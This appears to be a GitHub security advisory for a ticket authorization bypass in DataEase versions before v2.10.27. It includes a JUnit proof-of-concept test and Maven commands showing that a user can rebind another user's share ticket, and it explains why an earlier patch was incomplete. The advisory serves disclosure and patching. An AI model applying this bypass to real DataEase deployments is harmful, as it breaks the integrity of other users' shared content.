Skip to main content
Menu
Advisories

Ticket authorization bypass vulnerability

GHSA-G85V-G7P5-J787Published Updated GitHub

Description

Impact

An authenticated attacker who obtains another user's ticket can change what it resolves to or invalidate its intended relationship, causing integrity loss and denial of service in ticket-protected sharing.

Proof of Concept

Check out v2.10.26 and save the following as core/core-backend/src/test/java/io/dataease/share/manage/ShareTicketManagePocTest.java:

package io.dataease.share.manage;

import io.dataease.api.xpack.share.request.TicketCreator;
import io.dataease.auth.bo.TokenUserBO;
import io.dataease.share.dao.auto.entity.CoreShareTicket;
import io.dataease.share.dao.auto.entity.XpackShare;
import io.dataease.share.dao.auto.mapper.CoreShareTicketMapper;
import io.dataease.share.dao.auto.mapper.XpackShareMapper;
import io.dataease.utils.AuthUtils;
import org.junit.jupiter.api.Test;
import org.mockito.ArgumentCaptor;
import org.springframework.test.util.ReflectionTestUtils;

import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.mockito.ArgumentMatchers.any;
import static org.mockito.Mockito.*;

class ShareTicketManagePocTest {
        @Test
        void regularUserCanRebindAnotherUsersTicket() {
                ShareTicketManage manage = new ShareTicketManage();
                CoreShareTicketMapper ticketMapper = mock(CoreShareTicketMapper.class);
                XpackShareMapper shareMapper = mock(XpackShareMapper.class);
                ReflectionTestUtils.setField(manage, "coreShareTicketMapper",
ticketMapper);
                ReflectionTestUtils.setField(manage, "xpackShareMapper", shareMapper);
                AuthUtils.setUser(new TokenUserBO(200L, 1L));

                XpackShare attackerShare = new XpackShare();
                attackerShare.setUuid("attacker-share");
                attackerShare.setCreator(200L);
                when(shareMapper.selectOne(any())).thenReturn(attackerShare);

                CoreShareTicket victimTicket = new CoreShareTicket();
                victimTicket.setId(10L);
                victimTicket.setTicket("victim-ticket");
                victimTicket.setUuid("victim-share");
                when(ticketMapper.selectOne(any())).thenReturn(victimTicket);

                TicketCreator request = new TicketCreator();
                request.setTicket("victim-ticket");
                request.setUuid("attacker-share");
                request.setArgs("attacker-controlled");
                request.setExp(0L);

                manage.saveTicket(request);

                ArgumentCaptor<CoreShareTicket> saved =
ArgumentCaptor.forClass(CoreShareTicket.class);
                verify(ticketMapper).insert(saved.capture());
                assertEquals("attacker-share", saved.getValue().getUuid());
                assertEquals("attacker-controlled", saved.getValue().getArgs());
        System.out.println("VULNERABLE: another user's ticket was rebound");
        }
}

Prepare the project modules:

mkdir -p core/core-frontend/dist
mvn -DskipTests install

Temporarily set <skip>false</skip> in the existing Surefire configuration in core/core-backend/pom.xml, then run:

mvn -f core/pom.xml -pl core-backend \
    -Dtest=ShareTicketManagePocTest \
    -Dsurefire.failIfNoSpecifiedTests=false test

The output on v2.10.26 is:

VULNERABLE: another user's ticket was rebound
Tests run: 1, Failures: 0, Errors: 0, Skipped: 0

Why the Previous Patch Was Incomplete

The patch for CVE-2026-82879 added ownership checks for ticket management. The update path checks only the destination share supplied by the caller and does not verify ownership of the existing ticket before changing its UUID.

Affected versions

Affected versions < v2.10.27

Patches

The vulnerability has been fixed in v2.10.27.

Workarounds

It is recommended to upgrade the version to v2.10.27.

References

If you have any questions or comments about this advisory:

Affected versions

References

GitHub · dataease/dataease